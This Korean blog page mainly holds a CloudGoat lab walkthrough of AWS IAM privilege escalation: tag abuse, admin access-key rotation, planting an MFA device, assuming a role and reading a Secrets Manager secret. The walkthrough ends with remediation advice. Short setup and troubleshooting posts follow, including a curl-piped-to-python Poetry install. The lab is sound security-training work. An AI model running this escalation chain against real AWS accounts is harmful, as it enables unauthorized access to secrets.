반응형

 

 

  문제 정보

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/iam_privesc_by_key_rotation/README.md

 

cloudgoat/cloudgoat/scenarios/aws/iam_privesc_by_key_rotation/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

 

 

  문제 환경 구성

문제를 풀기 위해 클라우드 환경을 생성을 합니다.

 


  문제 설명

문제는 IAM에서 User 3개, Role 1개, Secret Manager 서비스에서 1개의 Secret이 생성되고 그 값을 알아내면 됩니다.

시작은 manager부터 시작하면 됩니다.

문제 Github - Readme

 

 

  문제 풀이

시작 지점은 manager 부터 시작하라고 Read me 페이지에 나와있으니 start.txt를 확인합니다.

확인하면 manager에 대한 Access Key와 Secret Key가 보입니다.

manager access key

 

위 Access Key를 이용하여 AWS CLI를 사용할 수 있게 다음과 같은 명령어를 입력하여 manager 프로파일을 생성하면 됩니다.

aws configure --profile manager

 

 

1. 권한 분석 (현재  소유 권한)

manager 유저의 정책 Policy를 분석해보겠습니다.

1) manager 유저는 사용자에게 Tag를 붙일 수 있고 Access Key를 생성/삭제 할 수 있습니다.

    - 이 점을 이용하면 manager 유저는 admin 유저 권한을 획득 가능합니다.

2) manager 유저는 가상MFA디바이스를 생성하고 적용할 수 있습니다.

    - 이 점을 이용하면 admin 유저는 Secret Manager 서비스로 역할 전환이 가능하고 Secret 값을 획득할 수 있습니다.

#-------------------- 1. 현재 권한 분석 과정 --------------------

###  계정 리스트 확인 ###
aws iam list-users --profile manager


### manager 에게 적용된 AWS 관리 정책 (manager 요청) ###
aws iam list-attached-user-policies --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
    "AttachedPolicies": [
        {
            "PolicyName": "IAMReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
        }
    ]
}


### manager 에게 적용된 User 관리 정책 (manager 요청) ###
aws iam list-user-policies --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
    "PolicyNames": [
        "SelfManageAccess",
        "TagResources"
    ]
}


### SelfManageAccess 정책 확인 ###
aws iam get-user-policy --policy-name SelfManageAccess --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
    "UserName": "manager_cgidl7mh6zo0vx",
    "PolicyName": "SelfManageAccess",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:DeactivateMFADevice",
                    "iam:GetMFADevice",
                    "iam:EnableMFADevice",
                    "iam:ResyncMFADevice",
                    "iam:DeleteAccessKey",
                    "iam:UpdateAccessKey",
                    "iam:CreateAccessKey"
                ],
                "Condition": {
                    "StringEquals": {
                        "aws:ResourceTag/developer": "true"
                    }
                },
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:iam::739275444311:user/*",
                    "arn:aws:iam::739275444311:mfa/*"
                ],
                "Sid": "SelfManageAccess"
            },
            {
                "Action": [
                    "iam:DeleteVirtualMFADevice",
                    "iam:CreateVirtualMFADevice"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:iam::739275444311:mfa/*",
                "Sid": "CreateMFA"
            }
        ]
    }
}


### TagResources 정책 확인 ###
aws iam get-user-policy --policy-name TagResources --user-name manager_cgidl7mh6zo0vx --profile manager
# 출력결과
{
    "UserName": "manager_cgidl7mh6zo0vx",
    "PolicyName": "TagResources",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:UntagUser",
                    "iam:UntagRole",
                    "iam:TagRole",
                    "iam:UntagMFADevice",
                    "iam:UntagPolicy",
                    "iam:TagMFADevice",
                    "iam:TagPolicy",
                    "iam:TagUser"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": "TagResources"
            }
        ]
    }
}

 

 

 

2. Admin 권한 획득

#-------------------- 2. Admin 권한 획득 과정 --------------------

### admin 계정에 developer:true 태그 붙이기 ###
aws iam tag-user --user-name admin_cgidl7mh6zo0vx --tags Key=developer,Value=true --profile manager

### admin 계정 태그 조회 ###
aws iam list-user-tags --user-name admin_cgidl7mh6zo0vx --profile manager

### admin 유저 Access Key 삭제 후 생성 ###
aws iam delete-access-key --access-key-id <access-key> --user-name admin_cgidl7mh6zo0vx --profile manager
aws iam create-access-key --user-name admin_cgidl7mh6zo0vx --profile manager

### admin 프로파일 생성 ###
aws configure --profile privesc_admin

 

 

3. MFA 디바이스 생성 & Secret Manager 역할 전환 & Secret 값 획득

#-------------------- 3. MFA 디바이스 생성 후 Secret Manager 역할 전환 하고 Secret 값 획득 과정 --------------------
### MFA 장치 생성 ###
aws iam create-virtual-mfa-device --virtual-mfa-device-name TestMFADevice --outfile ./QRCode.png --bootstrap-method QRCodePNG --profile manager


### MFA 활성화 ###
aws iam enable-mfa-device --user-name admin_cgidl7mh6zo0vx --serial-number arn:aws:iam::739275444311:mfa/TestMFADevice --authentication-code1 <Code1> --authentication-code2 <Code2> --profile manager


### 역할 전환 AssumeRoles ###
aws sts assume-role --role-arn "arn:aws:iam::739275444311:role/cg_secretsmanager_cgidl7mh6zo0vx" --role-session-name "admin_cgidl7mh6zo0vx" --serial-number arn:aws:iam::739275444311:mfa/TestMFADevice --token-code <Code> --profile privesc_admin


### AssumeRoles 통해 발급받은 AccessKey 프로파일 생성 ###
aws configure set --profile assume_role_secretsmanager aws_access_key_id <access_key>
aws configure set --profile assume_role_secretsmanager aws_secret_access_key <secret_key>
aws configure set --profile assume_role_secretsmanager aws_session_token <session_token>


### Secret Manager 서비스의 Secret 값 가져오기 ###
aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:739275444311:secret:cg_secret_cgidl7mh6zo0vx-lBTKcL --profile assume_role_secretsmanager

 

 

[보안 개선 방안]

1. MFA 비활성화 권한 제거 (iam:DeactivateMFADevice)
사용자가 자신의 MFA를 비활성화하지 못하도록 해당 권한을 삭제해야 합니다.
관리자가 직접 MFA 관리 역할을 수행하도록 권한을 위임하는 것이 바람직합니다.

2. 액세스 키 생성 및 삭제 권한 제한
iam:CreateAccessKey, iam:DeleteAccessKey 권한을 사용자에게 부여하는 것은 보안상 위험합니다.
대신 관리자가 필요할 때만 키를 생성하도록 제한하는 것이 좋습니다.

3. 태그 변경 권한 범위 제한
"Resource": "*"을 특정한 리소스 ARN으로 제한해야 합니다.
예를 들어, arn:aws:iam::739275444311:user/specific-user 같은 특정 사용자만 대상으로 하도록 변경하는 것이 좋습니다.

4. 태그 기반 접근 제어 강화
TagResources 정책에서 사용자가 IAM 사용자 태그를 수정할 수 없도록 제한해야 합니다.
예를 들어, iam:TagUser 및 iam:UntagUser 권한을 제거하면 태그 기반 접근 제어 정책을 우회하는 것을 방지할 수 있습니다.

5. IAM 정책 모니터링 및 로깅
AWS CloudTrail을 사용하여 iam:DeactivateMFADevice, iam:CreateAccessKey, iam:TagUser 등의 이벤트를 모니터링하고, 이상 징후가 발생하면 경고를 받을 수 있도록 설정해야 합니다.

 

 

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

caul334@gmail.com

반응형
반응형

 

AWS CLI를 통해 멋지게 명령어를 입력하고 싶지만 어떤 명령어를 입력해야 할지 모르는 분들에게 도움되는 글입니다.

 

CLI 명령어 순서가 aws <서비스> 까지는 알겠는데 뒤에 어떤 옵션이 오는지 모르시겠다구요?

AWS CLI 명령어 입력 화면

 

다음 AWS 공식 사이트에서 CLI 명령어 옵션과 그에 대한 설명을 확인할 수 있습니다.

 

제가 너무나 아끼는 사이트 입니다

https://docs.aws.amazon.com/cli/latest/#

 

AWS CLI Command Reference — AWS CLI 1.38.24 Command Reference

Note: You are viewing the documentation for an older major version of the AWS CLI (version 1). AWS CLI version 2, the latest major version of AWS CLI, is now stable and recommended for general use. To view this page for the AWS CLI version 2, click here. F

docs.aws.amazon.com

 

 

 

사용 법은 iam서비스를 통해 cli를 사용하고 싶다면 위 URL에 들어가서 iam을 먼저 검색하여 들어갑니다.

AWS CLI iam 서비스 목록

 

iam 서비스를 클릭하면 그에 대한 설명과 사용할 수 있는 명령어가 아래에 나열되어 있습니다.

 

 

예를 들어 aws iam untag-user 명령어에 대해 알게되었다면 아래와 같이

untag-user 명령어가 무엇을 의미하고 어떻게 사용하는지도 아래 사진과 같이 알 수 있습니다.

 

 

 

이 글이 도움이 되셨기를 바랍니다.

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

caul334@gmail.com

반응형
반응형

 

CloudGoat를 사용해보고자 아래 명령어를 입력했을때 에러가 나는 분들은 해결할 수 있습니다.

# 입력한 명령어
./cloudgoat.py create <시나리오>

 

 

  에러 증상

Ubuntu에 CloudGoat를 git에서 다운받아 실행하니 아래와 같은 에러가 출력되었습니다.

Terraform 발생 에러

 

 

 

  원인 및 해결책

에러 발생 원인은 CloudGoat에 대한 AWS Profile이 없기 때문입니다.

에러가 발생하신 분들은 아래 API Access Key를 출력하는 명령어를 실행해보면 아래 사진과 같이 [default] 항목만 출력될 겁니다.

# API Access Key 출력
cat ~/.aws/credentials

 

AWS credential 출력

 

 

하지만 Profile을 추가하면 아래 노란색 네모박스와 같이 cloudgoat에 대한 Profile을 추가할 수 있습니다.

다음 명령어를 입력하여 cloudgoat에 대한 Profile을 추가해보겠습니다.

# Cloudgoat AWS Profile 추가
aws configure --profile cloudgoat
# 1) Acess ID 입력
# 2) Secreet Key 입력

 

 

 

이후 다시 cat ~/.aws/credentials 명령어로 출력해보면 아래와 동일하게 출력되는 것을 확인 가능하실 겁니다.

AWS API Access Key 출력

 

 

 

Profile이 추가되었다면 다시 ./cloudgoat.py create <시나리오> 명령어를 입력하면!

아래 사진과 같이 에러 없이 정상적으로 명령어가 실행되는 것을 확인할 수 있습니다.

명령어 실행 결과

 

 

이 글을 통해 문제가 해결되셨기를 바랍니다.

 

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

caul334@gmail.com

반응형
반응형

 

 

 

Python 프로그램을 개발을 할 때 개발 환경을 격리하기 위한 가장 간편한 방법은 어플리케이션 레벨 격리 입니다.

격리 방법은 파이썬 내장 모듈인 venv을 활용하면 됩니다.

 

 

 

  격리(가상) 환경  생성 명령어

# 1. 격리 환경(디렉토리) 생성
python3.<버전> -m venv <격리 환경 이름>

# 2. 격리 환경 활성화
source <격리 환경 이름>/bin/activate

# 3. python3 경로 출력
(<격리 환경 이름>) $ which python3

# 4. 격리 환경 비활성화
(<격리 환경 이름>) $ deactivate

# 5. python3 경로 출력
which python3

 

 

위 명령어를 실행해보면 which python3 명령어를 입력했을 때

격리 환경과 격리되지 않은 환경에서의 python3 경로가 다른 것을 확인할 수 있습니다.

위 명령어를 참고하셔서 Python 프로그램을 개발할 때 안전 하게 격리환경 안에서 개발을 진행하시면 됩니다.

 

 

이 글 이 도움이 되셨기를 바랍니다.

caul334@gmail.com

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

반응형
반응형

 

 

 

 

  Poetry는?

패키지 버전을 관리하지 않아도 손쉽게 Dependency 관리를 가능하게 해주는 도구

즉 poetry를 이용한 프로젝트는 패키지 버전에 종속되지 않고 어느 환경에서든 잘 돌아가게 만들어주는 도구이다.

 

pip를 이용하여 패키지를 설치하면 패키지를 설치할 때마다 requirements.txt를 작성해야 Dependency 문제가 해결됩니다.

하지만 poetry add <package_name> 명령어를 이용하면 따로 패키지 버전을 관리하지 않아도

편하게 Dependency 관리가 가능해집니다.

 

 

  Poetry 설치 방법

1. Ubuntu (linux)
sudo apt install python3-poetry

2. Powershell (Windows)
(Invoke-WebRequest -Uri https://install.python-poetry.org -UseBasicParsing).Content | py -

3. curl 이용
curl -sSL https://install.python-poetry.org | python3

 

 

  Poetry 기본 명령어

# 설치 및 버전 확인
poetry --version

# 새 프로젝트 생성
$ poetry new <project_name>

# 가상환경 실행
$ cd <project_name>
$ poetry shell

# 패키지 설치
$ poetry add <package_name>

 

 

해당 글이 도움이 되셨기를 바랍니다.

 

caul334@gmail.com

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

반응형
반응형

 

 

Ubuntu(Linux) 에서 파이썬 디펜던시와 가상환경 관리를 위해 poetry(포어트리)를 설치하려 했습니다.

 

하지만 아래와 같은 에러를 만났습니다.

 

  에러 메시지 내용

nick@ubuntu:~/python$ pip install --user poetry

error: externally-managed-environment

 

 

  에러 발생 원인

에러 발생 원인은 python 3.11 이상 버전부터 패키지 관리 정책이 변경되어
pip 명령어를 이용한 직접 설치 보다는 Ubuntu 시스템 패키지 관리자인 apt를 통해 패키지를 설치하도록 권장하기 때문입니다.

 

 

  문제 해결 방법

아래 3가지 해결 방법 중 원하는 것을 선택해 해결할 수 있습니다.

 

1. 시스템 패키지 관리자를 이용하여 설치

# 무조건 가상 환경 밖에 설치해야 하는 경우
sudo apt install python3-<package_name>

 

 

2. 프로젝트가 가상환경 안에 있다면 가상환경 안에 설치

# 격리 환경(디렉토리) 생성
python3.<버전> -m venv <가상 환경 이름>

# 격리 환경 활성화
source <가상 환경 이름>/bin/activate

# 패키지 설치
pip install <package name>

 

 

3. curl 유틸리티 이용한 설치

# 유틸리티를 이용한 설치
curl -sSL https://install.python-poetry.org | python3

 

 

 

위 방법을 통해 문제가 해결 되셨기를 바랍니다.

 

caul334@gmail.com

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

반응형
반응형



elasticsearch

 

 

엘라스틱서치를 Python으로 연동하면서 사용하고 있는데 갑자기 아래와 같은 에러가 발생하였다.

에러 메시지 화면

 

에러 메시지 내용

elasticsearch.BadRequestError: BadRequestError(400, 'search_phase_execution_exception', 'Result window is too large, from + size must be less than or equal to: [10000] but was [10005].

 

에러 원인

에러의 원인은 요청한 Index에 결과가 1만건 이상이기 때문에 발생한 것으로써 index.max_result_window 임계치를 넘어갔기 때문에 발생한 것이다. max_result_window의 기본 설정은 1만건이다.

 

 

  임시 해결 조치 방법

시간이 없을 때 일단 빠르게 해결 할 수 있는 방법은 문제가 발생한 Index에 대해 windows size를 늘리는 것이다.

기본 설정 값인 10000건에서 그 이상으로 늘리면 된다. 참고로 아래는 5만건으로 늘려 주었다

아래 코드는 Kibana > Dev Tools에서 실행 가능한 코드

PUT /<your index name>/_settings
{
  "max_result_window" : 50000
}

 

 

  영구 해결 방법

영구 해결 방법으로 가장 좋은 방법은 Scroll API를 사용하는 것 입니다.

Scroll API는 대량의 데이터를 효율적으로 검색할 때 사용하면 좋습니다.

# 검색할 인덱스와 쿼리 정의
index_name = "your_index_name"
query = {
    "query": {
        "match_all": {}  # 모든 문서를 검색하는 쿼리
    }
}

# Scroll 초기화
scroll_timeout = "2m"  # Scroll 세션 유지 시간
batch_size = 1000      # 한 번에 가져올 문서 수

# 첫 번째 Scroll 요청
response = es.search(index=index_name, body=query, scroll=scroll_timeout, size=batch_size)

 

 

이 글을 통해 문제가 해결 되셨기를 바랍니다^^

 

caul334@gmail.com

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

반응형
반응형

 

 

회사 업무를 수행하다보면 종종 통계를 위해 메일 제목 또는 메일 내에 있는 특정 문구가 얼마나 있는지 필요한 경우가 있습니다.

 

아래 Python 코드로 그러한 어려움을 해결할 수 있습니다.

 

필요하신 분은 자유롭게 사용하시면 되겠습니다^^

 

Python 코드

# mail_extractor.py
import re
import os
import extract_msg
# pip install extract-msg

def extract_subjects_from_msg(folder_path):
    # 메일에서 제목과 내용 return

    # 결과를 저장할 리스트
    objects = []

    for file_name in os.listdir(folder_path):
        tmp = []
        if file_name.endswith(".msg"):
            file_path = os.path.join(folder_path, file_name)
            try:
                # .msg 파일 열기
                with extract_msg.Message(file_path) as message:

                    # 메일 제목
                    subject = message.subject
                    # 메일 본문
                    body = message.body

                    tmp.append(subject)
                    tmp.append(body)
                    objects.append(tmp)

            except Exception as e:
                print(f"Error reading {file_name}: {e}")

    return objects



def find_content(pattern, body):
    # 일치하는 내용 메일 본문에서 찾기
    content = []

    # 일치 여부
    matches = re.findall(pattern, body)

    # 결과 저장
    for i, match in enumerate(matches, start=1):
        content.append(i)
        content.append(match)

    return content



if __name__ == '__main__':

    # 메일 들이 저장되어 있는 특정 폴더 경로
    folder_path = r"C:\Users\<경로>"

    # 제목, 내용 추출
    results = extract_subjects_from_msg(folder_path)

    # 결과 출력
    for subject, body in results:
        # 제목과 메일 본분만 출력
        print(f"Subject: {subject}, Body: {body}")

        # 찾을 특정패턴이 있는 경우 (아래 코드 활용)
        # 패턴 정의
        pattern = r"\[Rule\]\s*\n(.+)"
        content = find_content(pattern, body)
        print("Subject: {}, Content: {}".format(subject, content))

 

 

 

부족한 부분 또는 개선이 필요한 사항은 댓글 남겨주시기 바라면서

이 글이 도움이 되셨기를 바랍니다.

 

caul334@gmail.com

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

반응형
반응형

 

Visual Studio

 

25년도에는 Back to Basic 마인드로 다시 C언어를 처음부터 시작해보자는 마음으로 Visual Studio 2022를 설치했습니다.

하지만 책에 있는 실습 예제들을 따라하는데 예기치 못한 에러를 만났습니다.

 


[Error Message]

빌드 오류가 발생했습니다. 계속하고 마지막으로 성공한 빌드를 실행하시겠습니까?


 

 

 

에러 발생 원인 C/C++에서 각 실행 가능한 프로그램은 단 하나의 main() 함수만 가질 수 있는데

위 에러는 두개 이상의 소스파일(.c)에서 각각 main() 함수를 가지고 있기 때문에 오류가 발생하게 됩니다.

 

 

 

  에러 해결 방법

 

에러를 해결하는 방법으로는 main() 함수를 가지는 하나의  소스코드 파일을 남기고 나머지 소스코드는 빌드에서 제외하면 됩니다.

 

빌드 제외 방법 : (비쥬얼 스튜디오 2022 기준) 소스코드 선택 > 오른쪽클릭 > 속성 > 빌드에서 제외 > 예 (선택)

 

빌드에서 제외 과정

 

 

빌드에서 제외하면 제외된 소스파일은 아래와 같이 파일 왼쪽에 빨간색 동그라미가 표시된 것을 확인할 수 있습니다.

 

빌드에서 제외한 소스코드

 

이후 실행하면 깔끔하게 에러가 없어지게 됩니다^^

 

에러 해결 후 실행 화면

 

문제가 해결 되셨기를 바랍니다.

 

caul334@gmail.com

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

반응형
반응형

 

Sourcetree는 Git을 시각적으로 관리할 수 있는 무료 그래픽 사용자 인터페이스(GUI) 응용 프로그램입니다.

Atlassian에서 개발했으며, 복잡한 Git 명령어를 명령줄에서 입력하지 않고도 직관적으로 사용할 수 있게 해줍니다.

이번 포스팅에는 SourceTree 설치 방법에 대해 공유드립니다.

 

  설치 방법

 

1. 프로그램 다운로드 홈페이지(https://www.sourcetreeapp.com/) 접속

 

download for windows

 

2. 설치 파일(.exe) 실행

 

기본 설치를 위해 다른 것은 클릭하지 말고 바로 "건너뛰기"를 클릭합니다.

 

기본 설치

 

Mercurial 선택 해제 후 "다음" 클릭

Mercurial은 Git과 같은 버전관리 툴이지만 저희는 필요 없으므로 선택해제합니다.

궁금하신 분들은 설치하셔도 무방합니다.

 

Mercurial 설치 여부

 

 

Github의 Username과 Email 정보를 입력 후 "다음" 클릭

 

username, email 정보 입력

 

 

SSH 키를 불러오겠다는 물음에는 "아니오"를 선택합니다.

 

SSH 키 로드

 

 

설치가 완료 되었다면

Remote > 계정 추가 > GitHub > "OAuth 토큰 새로고침"을 클릭합니다.

 

GitHub 연동 방법

 

 

Github 로그인 후 Authorize atlassian을 클릭

 

 

Atlassian 연동 확인

 

 

연동이 완료되면 "인증성공" 확인 후 확인 클릭

 

Oauth 토큰

 

원격 저장소에 GitHub 정보가 연동되어 있는 것을 확인하면 설치와 GitHub 연동이 완료됩니다.

 

GitHub 연동

 

도움이 되셨기를 바랍니다.

 

 

caul334@gmail.com

내용이 유용하셨다면 좋아요&댓글 부탁드립니다.
이 블로그를 이끌어갈 수 있는 강력한 힘입니다!

 

반응형

+ Recent posts